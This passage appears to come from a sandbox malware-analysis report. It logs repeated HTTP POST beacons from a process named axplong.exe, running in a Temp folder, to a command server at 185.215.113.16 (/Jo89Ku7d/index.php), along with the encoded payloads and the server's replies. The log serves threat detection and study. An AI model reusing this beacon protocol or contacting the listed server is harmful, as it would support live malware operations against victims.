Sep 27, 2024 08:41:40.659076929 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:40.900990009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	53687	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:41.021311045 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:41.718357086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:41.720546961 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:41.943465948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	53688	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:42.052902937 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:42.864432096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:42.865288019 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:43.087995052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	53689	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:43.208861113 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:43.918236017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:43.922761917 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:44.148511887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	53690	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:44.255822897 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:44.964474916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:44.976711988 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:45.206270933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	53691	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:45.321666002 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:46.028835058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:46.031699896 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:46.262418032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	53692	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:46.380853891 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:47.098800898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:47.100455999 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:47.330893040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	53693	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:47.443898916 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:48.173223972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:48.173963070 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:48.603090048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	53694	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:48.724303007 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:49.413585901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:49.416544914 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:49.639203072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	53695	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:50.002728939 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:50.710978985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:50.715487957 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:50.945640087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	53696	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:51.052850962 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:51.768160105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:51.769032001 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:52.185519934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	53697	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:52.305027962 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:53.605277061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:53.605401993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:53.605456114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:53.606184006 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:53.836357117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	53698	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:53.943285942 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:54.735652924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
